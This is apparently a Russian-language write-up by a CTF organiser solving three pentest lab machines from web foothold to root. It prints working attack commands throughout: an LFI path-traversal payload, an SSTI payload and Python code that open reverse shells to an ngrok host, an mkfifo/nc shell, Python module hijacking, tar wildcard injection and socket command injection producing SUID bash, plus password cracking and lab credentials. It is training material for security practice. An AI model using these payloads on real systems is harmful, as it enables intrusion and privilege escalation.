TQL CTF Pentest
@fefuctf @collapsz
Вступление
Всем привет! 4 сентября завершились международные соревнования по программированию систем информационной безопасности TQL CTF, где мне довелось поучаствовать в роли организатора и разработчика заданий. В рамках данной статьи я предлагаю ознакомиться с тремя тремя "комнатами", которые я подготовил для данного ивента. Все три моих задачки относились к категории Pentest и цель была проста – найти уязвимость в веб-приложении и повысить привилегии до рута на сервере, где это приложение крутится. Начнем =)
Inspection, Easy
Начнем с комнаты легкой сложности, с которой справились 14 команд – Inspection. В описании к заданию даны два порта, можно их, конечно, просканировать, но во всех трех комнатах на портах висит два сервиса – веб и ssh соответственно

Первым делом отправимся изучать веб-интерфейс приложения

Немного изучив функционал видим, что включение страниц выполняется через параметр page:

Однако попытка проэксплуатировать Path Traversal успехом не увенчалась:

Других векторов тут не нашлось, поэтому попробуем покрутить PTA ручками или при помощи словаря нагрузок через Intruder, но результат мы должны получить один – нагрузка вида ....//....//....//....//etc/passwd показала нам, что LFI имеет место быть:

Узнав имя пользователя, читаем файл .bash_history в его домашней директории, откуда получаем пароль для ssh:

Подключаемся по ssh с полученными кредами dexter:s2cr2t_p255_f0r_ssH. Первым делом после этого проверяем sudo -l и видим, что можем от имени пользователя запускать безобидный скрипт, который выполняет системный вызов df -h (проверяет свободное место на диске) при помощи библиотеки subprocess.

Скрипт расположен в домашней директории нашего пользователя, а значит мы можем проэксплуатировать Python Module Hijacking. Для этого выполним следующую последовательность команд:
dexter@0b758346e7ad:~$ chmod +w .
dexter@0b758346e7ad:~$ echo 'import os; os.system("/bin/bash")' > subprocess.py
dexter@0b758346e7ad:~$ ls -l
total 12
-rw-r--r-- 1 root root 201 Sep 1 03:16 disk_usage.py
-rw-rw-r-- 1 dexter dexter 34 Sep 4 09:48 subprocess.py
-r-------- 1 dexter dexter 22 Sep 1 03:17 user.txt
Мы создали самописный модуль subprocess, который будет иметь первый приоритет для функции import. Нам осталось лишь запустить скрипт с sudo:
dexter@0b758346e7ad:~$ sudo /usr/bin/python3 /home/dexter/disk_usage.py root@0b758346e7ad:/home/dexter# id uid=0(root) gid=0(root) groups=0(root)
Рут взят, осталось собрать флаги user.txt и root.txt
PWNed!
Temple, Medium
Следующая на очереди – комната Temple средней сложности. Она поддалась лишь четырем командам

На первом порту висит приложение с формой регистрации и авторизации

Регнем юзера и авторизуемая:

Небогато, однако после авторизации можем видеть, что нам была присвоена сессионная кука:

Можем попытать удачу и попытаться сбрутить ее при помощи flask-unsign:
┌──(kali㉿kali)-[~]
└─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie '.eJyrViotTi2KT0ksSVSyUqqOAXPzEnNTY5SsFGKUkvNzchILiqtilHSAvMxin_z09NQUzzyIbElRKVBdrVItAFypF8g.Ztgu7Q.wdcJ2u8U5MOs2PawYLUH0oAv4Ms' --no-literal-eval
[*] Session decodes to: {'user_data': '{"username": "collapsz", "isLoggedIn": "true"}'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 640 attempts
b'monkeys'
Ага, кука у нас подписана слабым ключом. Однако никаких опасных ключей в куке не хранится и подписывать ее самостоятельно незачем. Вспомним, что приложение написано на фреймворке Flask и весьма вероятно здесь используется какой-то шаблонизатор. Регнем юзера {{7*9}} и повторим операцию:
┌──(kali㉿kali)-[~]
└─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie '.eJyrViotTi2KT0ksSVSyUqqOAXPzEnNTY5SsFGKUzIxjlHSAdGaxT356emqKZx5EvKSoFKiiVqkWALJNFMk.ZtgwRA.R75EguCOOOSf32b35Sgw46lMnlk' --no-literal-eval
[*] Session decodes to: {'user_data': '{"username": "63", "isLoggedIn": "true"}'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 640 attempts
b'monkeys'
В ключе username видим значение 63 – у нас SSTI!
Теперь подберем SSTI-нагрузку для получения реверс-шелла, например:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f" | base64
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzAudGNwLmpwLm5ncm9rLmlvLzEwMzM2IDA+JjE=" | base64 -d | bash').read() }}
Регаемся с таким именем, авторизуемся, ловим и стабилизируем шелл:
┌──(kali㉿kali)-[~/Music/1]
└─$ nc -lvnp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 42390
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
app@ef1d1fb98537:~$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@ef1d1fb98537:~$ python3 -c "import pty; pty.spawn('/bin/bash');"
Изучаем где оказались, проверяем sudoers:
app@ef1d1fb98537:~$ sudo -l sudo -l Matching Defaults entries for app on e5e32aa0e6d1: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User app may run the following commands on e5e32aa0e6d1: (quentin) NOPASSWD: /home/quentin/notes
Бинарник приветствует пользователя и запрашивает пароль – пароль мы не знаем
app@ef1d1fb98537:/home/quentin$ ./notes ./notes Hey pal, enter you password! : 123 123 Wrong password.
Грузим бинарь себе и попробуем этот пароль выяснить.

- В случае ввода верного пароля, выполняется системный вызов
cat notes.txt - Перед самим сравнением в
!strcmp(s1,s2)вызывается функция encrypt_decrypt, которая расшифровывает байты пароля из памяти путем ксора с0xAC:

- Сам массив зашифрованных байт можем найти в памяти:

Копируем массив, пишем несложный декриптор, получаем пароль:
xor_key = 0xAC encrypted_password = b'\xdb\xc4\x98\xd8\xf3\xcd\xf3\xdb\x9c\xc2\xc8\xc9\xde\xca\xd9\xc0\xf3\xc0\xc5\xca\xc9' decrypted_password = bytes([b ^ xor_key for b in encrypted_password]) print(decrypted_password.decode()) wh4t_a_w0nderful_life
Собираем всю эту историю воедино и получаем пароль от ssh:
app@e5e32aa0e6d1:/home/quentin$ sudo -u quentin /home/quentin/notes sudo -u quentin /home/quentin/notes Hey pal, enter you password! : wh4t_a_w0nderful_life wh4t_a_w0nderful_life The password is right, here is your stuff: TO DO: 1. Finish the Template project. 2. Read the "Dracula" until Monday, gotta return the book to the owner 3. Speak to Din about him not having his passwords protected Notes: My SSH password is "w3lc0m3_to_th3_T3mPL3!"
Туда и двинемся. Изучить где оказались можно при помощи linpeas или вручную проверив популярные вектора, так или иначе рано или поздно напоремся на следующую крон-задачу:

Крон-задач для пользователя нет, значит скрипт, возможно, работает от рута, а содержимое директории backups – тому подтверждение:

Внимательно изучив скрипт, можно увидеть вектор повышения привилегий через tar – Wildcard Injection. Для повышения переместимся в директорию /home/quentin и выполним следующее:
quentin@e5e32aa0e6d1:~$ chmod +w . quentin@e5e32aa0e6d1:~$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > tql.sh quentin@e5e32aa0e6d1:~$ touch /home/quentin/--checkpoint=1 quentin@e5e32aa0e6d1:~$ touch /home/quentin/--checkpoint-action=exec=sh\ tql.sh
Далее ждем, пока крон выполнит свою работу и проверяем директорию /tmp:
quentin@e5e32aa0e6d1:~$ ls -la /tmp total 1372 drwxrwxrwt 1 root root 4096 Sep 4 10:34 . drwxr-xr-x 1 root root 4096 Sep 4 10:12 .. -rwsr-sr-x 1 root root 1396520 Sep 4 10:34 bash
Запускаем /tmp/bash -p с сохранением прав и получаем рута на машине:
quentin@e5e32aa0e6d1:~$ /tmp/bash -p bash-5.1# id uid=1000(quentin) gid=1000(quentin) euid=0(root) egid=0(root) groups=0(root),1000(quentin)
История с флагами все та же. PWNed!
Inquisition, Hard
Ну и последний наш гость – комната Inquisition, которая поддалась лишь двум командам

Снова веб, рега и авторизация:

После авторизации видим, что у приложения имеется функционал смены пароля:

Такой функционал легко реализуется при помощи SQL-запроса вида:

Проверим корректность работы этого запроса путем регистрации юзернейма с кавычкой:

При попытке сменить ему пароль ловим Internal Server Error:

По всей видимости, запрос не является параметризированным и уязвим к Second-Order SQL-инъекции
Вероятно, запрос выглядит как

Если зарегистрировать пользователя collapsz'-- - :

Часть запроса после юзернейма будет закомментирована и не будет обрабатываться.
Зарегистрируем пользователя admin'-- - и попробуем сменить ему пароль:

Запрос, вероятно, выглядел так:

И если верить синтаксису, мы успешно обновили пароль пользователю admin. Попробуем зайти и действительно попадаем в админку:

Во вкладке Admin Page видим API:

Читаем инструкции к ним:

Изучив доку, получаем следующее:
- есть API Fetch Content, которая умеет отправлять GET-запросы на заданный ресурс и сохранять результат в директорию modules с заданным названием
- есть API Run Script, которая умет выполнять python-скрипты с заданным называнием
Таким образом получаем вектор для RCE:
- Поднимаем у себя HTTP-сервер, на котором размещаем файл с реверс-шелл нагрузкой на Python, например:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",10336));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

- Отправляем запрос к этому скрипту, используя Fetch API и сохраняем его содержимое в файл script.py

- Запускаем сохраненный скрипт, используя Run Script API

- Получаем шелл:
┌──(kali㉿kali)-[~/Music/1]
└─$ nc -lvnp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37896
$ python3 -c "import pty; pty.spawn('/bin/bash');"
python3 -c "import pty; pty.spawn('/bin/bash');"
app@52511c27c982:~$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@52511c27c982:~$
Изучая, где оказались, находим пользователя darel, а в его домашней директории файл Database.kdbx – база данных Keepass:
app@52511c27c982:/home/darel$ ls -la ls -la total 48 dr-xr-xr-x 1 root darel 4096 Sep 4 10:50 . drwxr-xr-x 1 root root 4096 Sep 3 16:52 .. -r-xr-xr-x 1 root root 10 Sep 3 16:52 .bash_login -r-xr-xr-x 1 root darel 10 Sep 3 16:52 .bash_logout -r-xr-xr-x 1 root root 10 Sep 3 16:52 .bash_profile -r-xr-xr-x 1 root darel 3803 Sep 3 16:52 .bashrc -r-xr-xr-x 1 root darel 10 Sep 3 16:52 .profile drwx------ 2 darel darel 4096 Sep 3 16:52 .ssh -rw-r--r-- 1 root root 2206 Sep 3 16:49 Database.kdbx -r-------- 1 darel darel 28 Sep 3 16:52 user.txt
Сохраняем его себе и ломаем при помощи John the Ripper
┌──(kali㉿kali)-[~/Desktop] └─$ keepass2john Database.kdbx > bruteforce && john bruteforce Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 60000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst nothing (Database) 1g 0:00:00:02 DONE 2/3 (2024-09-04 07:12) 0.3984g/s 496.4p/s 496.4c/s 496.4C/s frodo..barbara Use the "--show" option to display all of the cracked passwords reliably Session completed.
Получили пароль – nothing
В самой базе данных находим каталог Backups с текстовым файлом hashes:

Сохраняем себе хеши и ломаем любым удобным способом:

Получили два пароля, один из которых оказался валидным для пользователя:
darel:goodpassword
Цепляемся под ним по ssh...и получаем кучу каких-то ошибок:
rbash: line 3: command: -p: restricted rbash: line 3: command: -p: restricted rbash: line 12: command: -p: restricted rbash: line 20: .: /etc/profile: restricted rbash: line 22: exec: restricted
Вернемся к нашему шеллу и сменим пользователя при помощи su darel:
darel@52511c27c982:/home/app$ id uid=1000(darel) gid=1000(darel) groups=1000(darel) darel@52511c27c982:/home/app$ cd / rbash: cd: restricted darel@52511c27c982:/home/app$ ls rbash: ls: command not found darel@52511c27c982:/home/app$ cat app.py rbash: cat: command not found darel@52511c27c982:/home/app
И тут же понимаем, что оказались в ограниченной среде – rbash. У нас нет доступа к бинарникам, мы не можем изменять переменные окружения, использовать / в командах...короче с таким шеллом каши не сварим, нужно байпасить. Немного изучив доступные бинари находим vim, который и будем использовать для обхода rbash.
- Открываем vim и прописываем
:set shell=/bin/bash
- Тыкаем Enter и следом за этим пишем
:shell
После чего получаем возможность перемещаться по директориям и понимаем, что больше не находимся в rbash:

Экспортируем переменную PATH для доступа к бинарям:
export PATH=/bin
Шелл стабилизирован:

Далее наша задача – повышение привилегий. При помощи linpeas или вручную можем поискать какие-то артефакты в системе. В данном случае машина зачем-то что-то слушает:
darel@52511c27c982:/bin$ netstat -l netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:webmin 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN Active UNIX domain sockets (only servers) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 91503437 /bin/socket.s
Проводим небольшой ресерч и понимаем, что имеем дело с Socket Command Injection.
Готовим эксплоит:
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/bin/socket.s
Запускаем и следом проверяем /tmp:

Видим бинарник баша с suid-битом рута. Знакомая ситуация, не так ли?
Запускаем /tmp/bash -pи получаем рута на этой машине:
darel@52511c27c982:/bin$ /tmp/bash -p /tmp/bash -p bash-5.1# id id uid=1000(darel) gid=1000(darel) euid=0(root) egid=0(root) groups=0(root),1000(darel)
PWNed!
Заключение
Вот такие вот румы мне довелось подготовить. Благодарю за прочтение, а так же shoutout to @st1zz999 – крутому парню который фб-шнул все три этих комнаты =)